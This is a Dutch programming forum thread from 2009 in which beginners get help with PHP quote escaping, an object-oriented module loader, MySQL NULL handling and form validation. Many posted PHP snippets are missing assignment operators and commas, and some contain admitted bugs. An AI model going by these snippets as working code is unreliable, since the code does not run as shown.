    Catch22-donderdag 26 maart 2009 @ 21:17
    http://www.woelmuis.nl/

    banner hiernaast. Iemand dit al geprobeerd? Misschien als testdomeintje.

    @Superrembo, ik ben daar ook eens mee bezig geweest. Is echt vrij gaar om te doen. Helemaal als je met verschillende bestandsformaten werkt.

    http://www.hotscripts.com/listing/image-resize-and-watermark/

    is dat wat? googlede ik zo even
    SuperRembodonderdag 26 maart 2009 @ 22:34
    quote:
    Op donderdag 26 maart 2009 21:17 schreef Catch22- het volgende:
    @Superrembo, ik ben daar ook eens mee bezig geweest. Is echt vrij gaar om te doen. Helemaal als je met verschillende bestandsformaten werkt.

    http://www.hotscripts.com/listing/image-resize-and-watermark/

    is dat wat? googlede ik zo even
    Mijn probleem heeft niet specifiek iets met watermarks te maken.
    Het probleem is dat imagecopymerge de alpha-transparantie weg gooit. Imagecopy doet het wel goed, maar daar heb je niet de mogelijkheid om de transparantie van het hele plaatje aan te passen.
    Catch22-donderdag 26 maart 2009 @ 23:12
    quote:
    Op donderdag 26 maart 2009 22:34 schreef SuperRembo het volgende:

    [..]

    Mijn probleem heeft niet specifiek iets met watermarks te maken.
    Het probleem is dat imagecopymerge de alpha-transparantie weg gooit. Imagecopy doet het wel goed, maar daar heb je niet de mogelijkheid om de transparantie van het hele plaatje aan te passen.
    ja, maar vaak gaan die standaardscripts uit van transparante pngs voor een watermerk, dus dan zit je gelijkt goed
    quote:
    Op donderdag 26 maart 2009 21:06 schreef klusmeister het volgende:

    [..]

    in html is het voor mij geen probleem, maar in php krijg ik het (nog ) niet voor elkaar om ze om te draaien, krijg continue parse error expected enz
    dit is gewoon basissemantiek hoor.

    Als je een " opent en daarna een ', sluit je eerst de ' en dan de "

    dat is toch met alles zo ?
    Dawnbreakerdonderdag 26 maart 2009 @ 23:51
    iemand een oplossing hiervoor:

    even een vraag waar ik mee zit, misschien makkie voor jullie:

    ik heb deze code (html en php)

    <a href="<?php $siteurl ?>"> de link </a>

    De link wordt nu de site url (de homepage dus). Ik wil hem laten verwijzen naar de subdirectory /mijnfotos/

    Hoe doe ik dit? ik heb al vanalles geprobeerd maar kom nu niet meer verder:

    <a href="<?php $siteurl/mijnfotos/ ?>"> de link </a> werkt dus niet


    dus: hoe gebruik je $siteurl om ook naar een subdir te verwijzen
    Dawnbreakerdonderdag 26 maart 2009 @ 23:56
    nvm opgelost:

    <a href="<?php echo $siteurl.weer;?>"> linkje </a> is de correcte php code
    Lightvrijdag 27 maart 2009 @ 05:49
    quote:
    Op donderdag 26 maart 2009 23:56 schreef Dawnbreaker het volgende:
    nvm opgelost:

    <a href="<?php echo $siteurl.weer;?>"> linkje </a> is de correcte php code
    Alleen als "weer" een constante is. Het is iig geen variabele, want er staat geen $ voor. En het is geen functie, want er staat geen () achter. Het is ook geen string, want die moet tussen quotjes staan.
    1<a href="<?php echo $siteurl; ?>weer"> linkje </a>
    klusmeistervrijdag 27 maart 2009 @ 09:05
    quote:
    Op donderdag 26 maart 2009 21:17 schreef Light het volgende:

    [..]

    Je kunt ook eerst php afsluiten, dan je html doen, en dan php weer openen. Scheelt je een hoop gedoe met " en '
    Idd, maar op 1 pagina komen 100derden links, dan wordt het qua code erg onoverzichtelijk..
    #ANONIEMvrijdag 27 maart 2009 @ 09:15
    quote:
    Op donderdag 26 maart 2009 16:43 schreef hoerezooi het volgende:

    [..]

    gebruik het zend framework welke in zich heel veel gebruikt maakt van patterns oa singeltons, factory's,chain of command, mvc.
    Thanks, ga wel eens ff kijken!
    klusmeistervrijdag 27 maart 2009 @ 09:41
    Met deze code:

    1
    2
    3
    <?php
    echo '<a target="blank" rel="nofollow" href="'.$row['http_www_website'].'" onClick="javascript: pageTracker._trackPageview(\'/outgoing/auto_accessoires/'.$row['www_website'].')"\'>'.$row['website'].'</a><br />';
    ?>


    komt het er zo:



    uit te zien.. bijna(?) dus, iemand nog een idee wat ik kan proberen om de uitgaande klik goed te kunnen meten?
    ralfievrijdag 27 maart 2009 @ 10:16
    je moet de laatste 'en " nog omdraaien

    Mag ik je een tip geven? als je broncode wil controleren, doe dit nooit in Firefox (als het gaat om quotes ed). Sure, het ziet er overzichtelijker uit, maar Firefox heeft de neiging om de broncode her en der al wat te fixen, door elementen en quotes en dergelijke toe te voegen en weg te halen. Ben er al vaker ingetuind, uren mn php doorgespit waar dat ene element of quoteje nou vandaan komt...
    De broncode van Firefox is niet 100% dat wat de browser van de server krijgt, dat van bijvoorbeeld internet explorer is dat altijd wel. Ik gebruik IE nooit, behalve voor broncode's...
    SuperRembovrijdag 27 maart 2009 @ 10:17
    quote:
    Op vrijdag 27 maart 2009 09:41 schreef klusmeister het volgende:
    Met deze code:
    [ code verwijderd ]

    komt het er zo:

    [ afbeelding ]

    uit te zien.. bijna(?) dus, iemand nog een idee wat ik kan proberen om de uitgaande klik goed te kunnen meten?
    Als je door de enorm lange code niet meer ziet wat je aan het doen bent, breek het dan gewoon op in begrijpelijke stukken! Zo ziet je code er uit als je het opbreekt in een paar logische stukken:

    1
    2
    3
    4
    5
    6
    <?php
    $url 
    $row['http_www_website'];                                
    $onclick 'javascript: pageTracker._trackPageview(\'/outgoing/auto_accessoires/'.$row['www_website'].')';
    $linkText $row['website'];
    echo 
    '<a target="blank" rel="nofollow" href="'.$url.'" onClick="'.$onclick.'"\'>'.$linkText.'</a><br />';
    ?>


    Dan zie je meteen waar de fout zit. (Ik tenminste wel :P)
    Roy_Tvrijdag 27 maart 2009 @ 11:07
    Met Rembo eens. Wel een typo op regel 5: een \' die er niet hoort (na de onclick)
    klusmeistervrijdag 27 maart 2009 @ 11:20
    quote:
    Op vrijdag 27 maart 2009 11:07 schreef Roy_T het volgende:
    Met Rembo eens. Wel een typo op regel 5: een \' die er niet hoort (na de onclick)
    Ook dan blijf ik met het ' verhaal zitten.
    SuperRembovrijdag 27 maart 2009 @ 11:25
    Ik heb de code alleen opgeknipt in logische stukken. Alle fouten staan er inderdaad nog in.
    klusmeistervrijdag 27 maart 2009 @ 11:26
    quote:
    Op vrijdag 27 maart 2009 11:25 schreef SuperRembo het volgende:
    Ik heb de code alleen opgeknipt in logische stukken. Alle fouten staan er inderdaad nog in.
    En net omdat ik de fout niet kan ontdekken kwam ik hier voor hulp..
    PeuRacvrijdag 27 maart 2009 @ 11:29
    quote:
    Op vrijdag 27 maart 2009 10:16 schreef ralfie het volgende:
    je moet de laatste 'en " nog omdraaien

    Mag ik je een tip geven? als je broncode wil controleren, doe dit nooit in Firefox (als het gaat om quotes ed). Sure, het ziet er overzichtelijker uit, maar Firefox heeft de neiging om de broncode her en der al wat te fixen, door elementen en quotes en dergelijke toe te voegen en weg te halen. Ben er al vaker ingetuind, uren mn php doorgespit waar dat ene element of quoteje nou vandaan komt...
    De broncode van Firefox is niet 100% dat wat de browser van de server krijgt, dat van bijvoorbeeld internet explorer is dat altijd wel. Ik gebruik IE nooit, behalve voor broncode's...
    Maar dat kan je toch ook in je voordeel gebruiken, door de broncode uit FF te kopieren? Want die is dan al "gefixed" of werkt dat niet?
    SuperRembovrijdag 27 maart 2009 @ 11:31
    Wil je een paar tips om fouten op te sporen en in de toekomst te voorkomen, of heb je liever dat iedereen telkens al je typfoutjes komt fixen
    klusmeistervrijdag 27 maart 2009 @ 11:50
    quote:
    Op vrijdag 27 maart 2009 11:31 schreef SuperRembo het volgende:
    Wil je een paar tips om fouten op te sporen en in de toekomst te voorkomen, of heb je liever dat iedereen telkens al je typfoutjes komt fixen
    Nee helemaal niet, integendeel, soms is een zet in de goede richting erg fijn, ik ben alweer een stuk verder gekomen door eerder advies hier.

    Ik kom er net achter dat met een simpele " \ " het foutje is opgelost.

    Bedankt iig voor de hulp
    cablegunmastervrijdag 27 maart 2009 @ 11:50
    tvp
    Roy_Tvrijdag 27 maart 2009 @ 12:17
    quote:
    Op vrijdag 27 maart 2009 10:16 schreef ralfie het volgende:

    Sure, het ziet er overzichtelijker uit, maar Firefox heeft de neiging om de broncode her en der al wat te fixen, door elementen en quotes en dergelijke toe te voegen en weg te halen.
    Firebug wel, maar Firefox "view source" niet.
    daReapervrijdag 27 maart 2009 @ 14:18
    Ik zit wat te klooien met OO-programmeren, maar ik kom ergens niet helemaal uit.

    Ik heb een site gemaakt, en aan die site wil ik modules kunnen toevoegen. Dit is enkel een directory met bestandjes, die je alleen maar aan de modules-directory hoeft toe te voegen, en het werkt al.

    Nou heb ik een bestand modules.php met daarin de klasse Modules. Deze klasse kijkt in de modules directory om te zien welke modules er zijn.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <?php
    class Modules {
      var 
    $modules = array();
      function 
    __construct() {
        
    $dir opendir("../modules");
        while (
    false !== ($file readdir($dir))) {
          if (
    is_dir("../modules/$file") && !preg_match("/\.\.?/"$file)) {
            
    $mod = new Module($file);
            
    array_push($this->modules$mod);
          }
        }
      }
    }
    ?>


    Zoals je daar ziet, wordt voor elke module weer een nieuw object aangemaakt van de klasse Module

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    <?php
    class Module {
      var 
    $templatedir;
      var 
    $linkname;
      function 
    __construct($name) {
        
    $this->templatedir "../modules/".$td."/templates";
        if(
    file_exists("../modules/$name/$name.php"))
          require(
    "../modules/$name/$name.php");
        if(
    file_exists("../modules/$name/$name_admin.php"))
          require(
    "../modules/$name/$name_admin.php");
      }
      function 
    getModuleByName($name) {
        foreach(
    $this->modules as $module) {
          if (
    $module->name == $name) {
            return 
    $module;
          }
        }
      }
    }
    ?>


    in deze module gaat het echter niet helemaal goed.

    In die includes wordt ten eerste $this->linkname bepaald, wat geen probleem is. Er staat (staan) echter ook functies in, in elk geval de functie index($args). Hoe kan ik er nou voor zorgen dat deze functies gewoon onderdeel worden van het nieuw aangemaakte object? Beetje moeilijk uit te leggen allemaal, maar uiteindelijk wil ik in het hoofdscript het volgende stukje script gebruiken:

    1
    2
    3
    <?php
    $modules
    ->getModuleByName("agenda")->index($args);
    ?>


    Ik hoop dat het een beetje begrijpelijk is... Hoe kan ik dit oplossen?
    #ANONIEMvrijdag 27 maart 2009 @ 14:23
    quote:
    Op vrijdag 27 maart 2009 14:18 schreef daReaper het volgende:
    Ik zit wat te klooien met OO-programmeren, maar ik kom ergens niet helemaal uit.

    Ik heb een site gemaakt, en aan die site wil ik modules kunnen toevoegen. Dit is enkel een directory met bestandjes, die je alleen maar aan de modules-directory hoeft toe te voegen, en het werkt al.

    Nou heb ik een bestand modules.php met daarin de klasse Modules. Deze klasse kijkt in de modules directory om te zien welke modules er zijn.
    [ code verwijderd ]

    Zoals je daar ziet, wordt voor elke module weer een nieuw object aangemaakt van de klasse Module
    [ code verwijderd ]

    in deze module gaat het echter niet helemaal goed.

    In die includes wordt ten eerste $this->linkname bepaald, wat geen probleem is. Er staat (staan) echter ook functies in, in elk geval de functie index($args). Hoe kan ik er nou voor zorgen dat deze functies gewoon onderdeel worden van het nieuw aangemaakte object? Beetje moeilijk uit te leggen allemaal, maar uiteindelijk wil ik in het hoofdscript het volgende stukje script gebruiken:
    [ code verwijderd ]

    Ik hoop dat het een beetje begrijpelijk is... Hoe kan ik dit oplossen?
    Maak de Module class een extensie van een abstracte class met daarin functies die je extended class moet implementeren. Maak elke module class een unique naam, en instanieer deze. Dan hoef je alleen nog maar $modulenaam->index() te doen, zonder dat je via de getModuleByname() iets hoeft te doen.
    daReapervrijdag 27 maart 2009 @ 14:51
    quote:
    Op vrijdag 27 maart 2009 14:23 schreef Scorpie het volgende:

    [..]

    Maak de Module class een extensie van een abstracte class met daarin functies die je extended class moet implementeren. Maak elke module class een unique naam, en instanieer deze. Dan hoef je alleen nog maar $modulenaam->index() te doen, zonder dat je via de getModuleByname() iets hoeft te doen.
    Ik vrees dat ik het niet helemaal snap :@ Ben nog een beetje een beginner met OOP.

    Die getModuleByName() wil ik eigenlijk wel houden. Ik heb zojuist ook een functie op php.net gevonden die ik in mijn Modules klasse kon stoppen, zodat ik een foreach() op de $modules kan gooien, waarbij $modules dan elke keer een nieuwe module returnt.

    Ik snap alleen niet zo goed wat dat eerste is, wat je daar zegt. Mijn Modules klasse ziet er nu zo uit:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    <?php
    class Modules implements IteratorAggregate {
      var 
    $modules = array();
      function 
    __construct() {
        
    $dir opendir("../modules");
        while (
    false !== ($file readdir($dir))) {
          if (
    is_dir("../modules/$file") && !preg_match("/\.\.?/"$file)) {
            if(
    file_exists("../modules/$file/$file.php"))
              require(
    "../modules/$file/$file.php");
            if(
    file_exists("../modules/$file/$file_admin.php"))
              require(
    "../modules/$name/$name_admin.php");
            
    $mod = new $file();
            
    array_push($this->modules$mod);
          }
        }
      }
      public function 
    getIterator() {
          return new 
    MyIterator($this->modules);
      }  
      function 
    getModuleByName($name) {
        foreach(
    $this->modules as $module) {
          if (
    $module->name == $name) {
            return 
    $module;
          }
        }
      }
    }
    $modules = new Modules();
    ?>


    de Module klasse ziet er zo uit:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <?php
    class Module {
      var 
    $templatedir;
      var 
    $linkname;
      var 
    $name;

      function 
    __construct($name) {
        
    $this->templatedir "../modules/".$td."/templates";
        
    $this->name $name;
          
      }
    }
    ?>


    Agenda.php:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?php
    $this
    ->linkname "Agenda";

    class 
    agenda implements Module {
      function 
    index($args) {
        [...]
      }
    }
    ?>


    Maar dit geeft een error: Fatal error: agenda cannot implement Module - it is not an interface in C:\severjanin\modules\agenda\agenda.php on line 4

    Zoals ik al zei: ik ben nog een beetje een beginneling hierin. Wat houdt dat "interface" in?
    Tiemievrijdag 27 maart 2009 @ 14:52
    quote:
    Op vrijdag 27 maart 2009 14:51 schreef daReaper het volgende:

    [..]

    Ik vrees dat ik het niet helemaal snap Ben nog een beetje een beginner met OOP.

    Die getModuleByName() wil ik eigenlijk wel houden. Ik heb zojuist ook een functie op php.net gevonden die ik in mijn Modules klasse kon stoppen, zodat ik een foreach() op de $modules kan gooien, waarbij $modules dan elke keer een nieuwe module returnt.

    Ik snap alleen niet zo goed wat dat eerste is, wat je daar zegt. Mijn Modules klasse ziet er nu zo uit:
    [ code verwijderd ]

    de Module klasse ziet er zo uit:
    [ code verwijderd ]

    Agenda.php:
    [ code verwijderd ]

    Maar dit geeft een error: Fatal error: agenda cannot implement Module - it is not an interface in C:\severjanin\modules\agenda\agenda.php on line 4

    Zoals ik al zei: ik ben nog een beetje een beginneling hierin. Wat houdt dat "interface" in?
    Een interface is wat anders dan een abstrace class.

    een class Extend je, een interface moet je implementeren.
    #ANONIEMvrijdag 27 maart 2009 @ 15:13
    quote:
    Op vrijdag 27 maart 2009 14:51 schreef daReaper het volgende:

    [..]

    Ik vrees dat ik het niet helemaal snap Ben nog een beetje een beginner met OOP.

    Die getModuleByName() wil ik eigenlijk wel houden. Ik heb zojuist ook een functie op php.net gevonden die ik in mijn Modules klasse kon stoppen, zodat ik een foreach() op de $modules kan gooien, waarbij $modules dan elke keer een nieuwe module returnt.
    Waarom zou je dat willen houden? Het is een dure operatie die eigenlijk onnodig is, aangezien je al de naam weet van de module die je wilt aanspreken. Dan heeft het geen zin om IEDERE keer weer die modules lijst op te halen en aan te spreken, roep dan direct de controller van de module zelf aan.

    De rest heeft Tiemie al verteld
    daReapervrijdag 27 maart 2009 @ 15:13
    na nog wat geklooi ben ik hier op uit gekomen, mochten jullie nog iets zien dat niet goed is, dan hoor ik dat graag

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    <?php
    interface ModFuncs {
      public function 
    index($args);
    }

    abstract class 
    Module implements ModFuncs {
      var 
    $templatedir;
      var 
    $linkname;
      var 
    $name;

      function 
    __construct() {
        
    $this->name get_class($this);
        
    $this->templatedir "../modules/".$this->name."/templates";
      }
    }

    class 
    Modules implements IteratorAggregate {
      var 
    $modules = array();
      function 
    __construct() {
        
    $dir opendir("../modules");
        while (
    false !== ($file readdir($dir))) {
          if (
    is_dir("../modules/$file") && !preg_match("/\.\.?/"$file)) {
            if(
    file_exists("../modules/$file/$file.php"))
              require(
    "../modules/$file/$file.php");
            if(
    file_exists("../modules/$file/$file_admin.php"))
              require(
    "../modules/$name/$name_admin.php");
            
    $mod = new $file();
            
    array_push($this->modules$mod);
          }
        }
      }
      public function 
    getIterator() {
          return new 
    MyIterator($this->modules);
      }  
      function 
    getModuleByName($name) {
        foreach(
    $this->modules as $module) {
          if (
    $module->name == $name) {
            return 
    $module;
          }
        }
      }
    }
    $modules = new Modules();
    ?>


    agenda.php:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <?php
    $this
    ->linkname "Agenda";

    class 
    agenda extends Module {
      
      function 
    index($args) {
        [...]
      }
    }
    ?>


    Maar als ik het goed begrijp, mag ik dan alleen een index() functie in m'n klasse agenda maken. Andere functies zijn niet oproepbaar, tenzij ik ze in de interface definieer?

    Ah, het werkt wel degelijk, zie ik nu. Ik moest er alleen nog even $this-> voor zetten
    daReapervrijdag 27 maart 2009 @ 15:15
    quote:
    Op vrijdag 27 maart 2009 15:13 schreef Scorpie het volgende:

    [..]

    Waarom zou je dat willen houden? Het is een dure operatie die eigenlijk onnodig is, aangezien je al de naam weet van de module die je wilt aanspreken. Dan heeft het geen zin om IEDERE keer weer die modules lijst op te halen en aan te spreken, roep dan direct de controller van de module zelf aan.

    De rest heeft Tiemie al verteld
    Nu ik er over na denk is die functie ook niet meer van toepassing. $modules wordt aangemaakt en in het hoofdscript komt het volgende stukje script voorbij:

    foreach($modules as $mod) {
    array_push($menuitems, array($mod->name, $mod->linkname));
    if ($page == $mod->name) {
    $content = $mod->index($args);
    }
    }

    Dat getModuleByName() heb ik bij nader inzien dus helemaal niet nodig.
    #ANONIEMvrijdag 27 maart 2009 @ 15:27
    quote:
    Op vrijdag 27 maart 2009 15:15 schreef daReaper het volgende:

    [..]

    Nu ik er over na denk is die functie ook niet meer van toepassing. $modules wordt aangemaakt en in het hoofdscript komt het volgende stukje script voorbij:

    foreach($modules as $mod) {
    array_push($menuitems, array($mod->name, $mod->linkname));
    if ($page == $mod->name) {
    $content = $mod->index($args);
    }
    }

    Dat getModuleByName() heb ik bij nader inzien dus helemaal niet nodig.
    ralfievrijdag 27 maart 2009 @ 16:43
    quote:
    Op vrijdag 27 maart 2009 12:17 schreef Roy_T het volgende:

    [..]

    Firebug wel, maar Firefox "view source" niet.
    Beeld->paginabron heb ik het over. Firebug heb ik niet eens geinstalleerd.
    Roy_Tvrijdag 27 maart 2009 @ 17:37
    quote:
    Op vrijdag 27 maart 2009 16:43 schreef ralfie het volgende:

    Beeld->paginabron heb ik het over. Firebug heb ik niet eens geinstalleerd.
    Dan weet ik niet welke Firefox jij gebruikt, maar de mijne past echt niets aan de in de source vziw

    Heb je een testcase?
    ralfievrijdag 27 maart 2009 @ 18:53
    quote:
    Op vrijdag 27 maart 2009 17:37 schreef Roy_T het volgende:

    [..]

    Dan weet ik niet welke Firefox jij gebruikt, maar de mijne past echt niets aan de in de source vziw

    Heb je een testcase?
    Heb het effe zitten uitzoeken, maar het blijkt mijn overactieve 'view selection source' te zijn. Deze code is natuurlijk al min of meer geparsed...

    Laat dus maar.
    daReapervrijdag 27 maart 2009 @ 19:52
    Lama

    [ Bericht 50% gewijzigd door daReaper op 27-03-2009 20:01:06 ]
    Qunixzondag 29 maart 2009 @ 16:16
    edit

    [ Bericht 52% gewijzigd door Qunix op 30-03-2009 09:32:20 ]
    cablegunmasterzondag 29 maart 2009 @ 16:57
    mn eerst werkende java Jar file
    http://cablegunmaster.nl/test666.php
    cablegunmasterzondag 29 maart 2009 @ 16:58
    edit-
    Tuvai.netzondag 29 maart 2009 @ 23:07
    Ik zit met een vaag probleem in MySQL.

    Ik heb een gebruikerstabel (user) met een aantal veldjes, bijvoorbeeld gebruikersnaam, wachtwoord, achternaam, initialen, etcetera. Van deze tabel is het veld 'usrLastname' NOT NULL (mag dus geen NULLs bevatten). Nou voer ik vanuit PHP de volgende query uit:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    UPDATE
        user
    SET
        usrUsername      = 'leroyXXX',
        usrPassword      = 'e10adc3949ba59abbe56e057f20f883e',
        usrGender        = 'M',
        usrLastname      = null,
        usrInitials      = 'LHM',
        usrInsertion     = null,
        usrEmail         = 'info@blabla.com'
    WHERE
        usrId = 1


    Dat ZOU dus een fout moeten geven, aangezien ik 'usrLastname' probeer te updaten met een NULL, maar wat doet MySQL? De query wordt gewoon uitgevoerd, in de kolom 'usrInsertion' (die NULLABLE is) staat netjes een NULL, maar in kolom 'usrLastname' staat nu een lege string ( '' ). Waarom gebeurt dit? :S

    Bij een INSERT query doet 'ie 't overigens wel goed. Als ik een INSERT query op tabel user loslaat met dezelfde gegevens als bovenstaand, dan krijg ik inderdaad netjes een fout terug: 1048 (Column 'usrLastname' cannot be null).
    GlowMousezondag 29 maart 2009 @ 23:10
    Deze link werkt wel

    [ Bericht 20% gewijzigd door GlowMouse op 29-03-2009 23:15:46 ]
    Tuvai.netzondag 29 maart 2009 @ 23:13
    quote:
    Op zondag 29 maart 2009 23:10 schreef GlowMouse het volgende:
    http://www.google.nl/search?hl=nl&safe=off&q=+site:lists.evolt.org+mysql+update+null
    Ja ja, ik heb al Gegoogled. Ik vind echter maar één site waar het daadwerkelijk over dit probleem gaat, maar daar is geen antwoord op gegeven. De rest gaat allemaal over lui die problemen hebben met hun sytaxis het invoeren van een MySQL NULL waarde vanuit hun PHP code.

    EDIT: Dit dus: http://bugs.mysql.com/bug.php?id=389
    Vrij oude pagina, niet echt een antwoord waar ik iets aan heb dat daar gegeven word.
    GlowMousezondag 29 maart 2009 @ 23:15
    http://bugs.mysql.com/bug.php?id=37787 is recenter.
    en http://bugs.mysql.com/bug.php?id=33699
    Tuvai.netzondag 29 maart 2009 @ 23:27
    1SET sql_mode = STRICT_ALL_TABLES


    Schijnt dit probleem op te lossen, maar ik moet het wel elke keer voor bovenstaande query knallen. Op mijn localhost kan ik dit eenvoudig aanpassen in my.ini, maar ik kan in sommige gevallen niet in php.ini en my.ini (andere hostingprovider). :/
    Lightmaandag 30 maart 2009 @ 13:26
    quote:
    Op zondag 29 maart 2009 16:57 schreef cablegunmaster het volgende:
    mn eerst werkende java Jar file
    http://cablegunmaster.nl/test666.php
    En nu? Tijd voor Java voor dummies?
    -SG-maandag 30 maart 2009 @ 16:05
    Jongens daar ben ik weer met mijn ticketservice :P. Ik heb het een en ander uitgevogelt en het schiet al aardig op maar toch loop ik tegen een aantal dingen aan (die ik overigens wel opgezocht heb maar of niet gevonden heb of het werd alsmaar vager). Nou heb ik dit scriptje gemaakt (zal voor jullie vast heel newbie uitzien maar het is zowaar mijn eerste script :')).

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    <?php
    <html>
    <
    head>
     <
    meta http-equiv="Generator" content="TigerII MiniPad (C)2001">
    <
    title>Ticketservice</title>
    </
    head>

    <
    body>
    <
    style type="text/css">
    <!--
    .
    body {
         
    font-family"Trebuchet MS";
         
    font-size12px;
              
    }
    .
    style1 {color:#ffaa00;}


    .style2 {color:#dddddd; font-family: "Trebuchet MS";}


    -->
    </
    style>
    <
    form name="Ticketservice.html">

         <
    table>
         <
    span class="style2">
         
         <
    tr>Voornaam:        <input type="text" name="voornaam"></tr>
         <
    tr>Tussenvoegsel:   <input type="text" name="tussenvoegsel"></tr>   
         <
    tr>Achternaam:      <input type="text" name="achternaam"></tr>
         <
    tr>Geboortedatum:   <input type="text" name="Geboortedatum"></tr>                
         <
    tr>Email adres:     <input type="text" name="emailadres"></tr>
        
         </
    table>
         </
    span>
         <
    br>
         
    <
    span class="style1"><I>Hoeveel kaarten wil je kopen?:</I><BR>
    <
    I>De standaard ticketprijs is ¤7.50</I><BR>
    Let op je moet minimaal 16 zijn om op deze feesten binnen te komen.</span>
    <
    br>
    <
    SELECT NAME="aantal">
    <
    OPTION>1</option>
    <
    OPTION>2</OPTION>
    <
    OPTION>3</OPTION>
    <
    OPTION>4</OPTION>
    <
    OPTION>5</OPTION>
    <
    OPTION>6</OPTION>
    </
    SELECT>
    </
    span>

    </
    FORM>


         <
    hr>
         <
    form action="Bevestigen.html">
         <
    input type="submit" value="Verder">
         </
    form>

         

    </
    body>
    </
    html>
    ?>


    Nu wil ik dat wanneer Voornaam, Achternaam, Geboortedatum en emailaders niet is ingevuld hij niet verder kan gaan. Ik heb gelezen dat dit met If en Else moet maar ik weet niet hoe ik dit moet toepassen. Kunnen jullie mij helpen?
    markiemarkdinsdag 31 maart 2009 @ 10:55
    http://www.astahost.com/i(...)lidation_t10899.html
    Misschien een beginnetje? Succes
    cablegunmasterdinsdag 31 maart 2009 @ 11:07
    quote:
    Op maandag 30 maart 2009 13:26 schreef Light het volgende:

    [..]

    En nu? Tijd voor Java voor dummies?
    opzich en dan alleen de beginselen want verder kan ik ook niet helpen
    Tiemiedinsdag 31 maart 2009 @ 11:29
    quote:
    Op dinsdag 31 maart 2009 11:07 schreef cablegunmaster het volgende:

    [..]

    opzich en dan alleen de beginselen want verder kan ik ook niet helpen
    [Java] voor dummies - Deel 2.
    prodygeedinsdag 31 maart 2009 @ 16:58
    Uhm.. Je code is echt heeeel rommelig.. dit heb ik er maar van gemaakt. Je ziet bovenaan "###FOUTPAGINA###". Deze zal je zelf moeten maken om de gebruiker duidelijk te maken dat ze wat fout hebben gedaan. Je zou dat deel ook kunnen weghalen en vervangen met een echo "Alle velden invullen!", of iets dergelijks.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    <?php
    if (isset($_POST['voornaam'])){
       
    if (empty($_POST['voornaam']) || empty($_POST['achternaam']) || empty($_POST['geboorteplaats']) || empty($_POST['emailadres'])) {
       header ('Location:###FOUTPAGINA###');
    } else {
       header ('Location:bevestigen.html');
    }
    ?>

    <html>
    <head>
     <meta http-equiv="Generator" content="TigerII MiniPad (C)2001">
    <title>Ticketservice</title>
    </head>

    <style type="text/css">
    .body {font-family:"Trebuchet MS";font-size:12px;}
    .style1 {color:#ffaa00;}
    .style2 {color:#dddddd;font-family:"Trebuchet MS";}
    </style>

    <body>
    <form name="Ticketservice" action="" method="post">

         <table>
         <span class="style2">
         
         <tr>Voornaam:        <input type="text" name="voornaam"></tr>
         <tr>Tussenvoegsel:   <input type="text" name="tussenvoegsel"></tr>   
         <tr>Achternaam:      <input type="text" name="achternaam"></tr>
         <tr>Geboortedatum:   <input type="text" name="Geboortedatum"></tr>                
         <tr>Email adres:     <input type="text" name="emailadres"></tr>
        
         </table>
         </span>
         <br>
         
    <span class="style1"><I>Hoeveel kaarten wil je kopen?:</I><BR>
    <I>De standaard ticketprijs is ¤7.50</I><BR>
    Let op je moet minimaal 16 zijn om op deze feesten binnen te komen.</span>
    <br>

    <SELECT NAME="aantal">
       <OPTION>1</option>
       <OPTION>2</OPTION>
       <OPTION>3</OPTION>
       <OPTION>4</OPTION>
       <OPTION>5</OPTION>
       <OPTION>6</OPTION>
    </SELECT>
    </span>
       <input type="submit" value="Verder">
    </FORM>

    </body>
    </html>

    <?php
    }
    ?>


    Niet getest. Maar ik zie hier geen fouten in. Gebruik iig divjes.. en leer je code beter schrijven :@. Good luck.
    Roy_Tdinsdag 31 maart 2009 @ 19:57
    quote:
    Op dinsdag 31 maart 2009 16:58 schreef prodygee het volgende:

    Niet getest. Maar ik zie hier geen fouten in. Gebruik iig divjes.. en leer je code beter schrijven . Good luck.
    Divs zijn handig, maar hier kun je wel iets beters gebruiken natuurlijk om je form te stylen (fieldsets, labels, etc).
    Darkomenwoensdag 1 april 2009 @ 16:19
    Gezocht:
    Gratis CMS
    - php/mysql
    - Artiekelen systeem met categorien (deze dienen dus via het groupssysteem beveiligd te worden)
    - Calender
    - User Magement/groups
    - Makkelijk te schrijven plugins

    Uitleg, ik moet voor een internet een cms voor documentatie opzetten.
    De artikelen moeten zichtbaar zijn voor bepaalde groepen, andere niet.
    Ook moet er een kalender in zitten waarbij je events kan toevoegen, sommige die terugkomen, sommige voor enkele dagen/uren.

    Als dit voor mezelf zou zijn, zou ik zelf gaan schrijven, waardoor het dus enkele maanden tot een jaar zou duren

    Maar aangezien dit gratis is ga ik dus niet die moeite doen en tevens moet het snel opgezet worden.
    De huidige beheerder heeft een joomla cms opgezet, leuk maar onbruikbaar en voor bijna alle plugins zoals usergroups en een kalender moet je betalen.

    Nu heb ik wel gezocht maar kom ik steeds bij betaalde cmsen of halfgare zonder de juiste opties.
    PHP is voor mij een hobby, misschien dat jullie wat meer goede cmsen kennen

    [ Bericht 5% gewijzigd door Darkomen op 01-04-2009 16:38:42 ]
    cablegunmasterwoensdag 1 april 2009 @ 16:30
    quote:
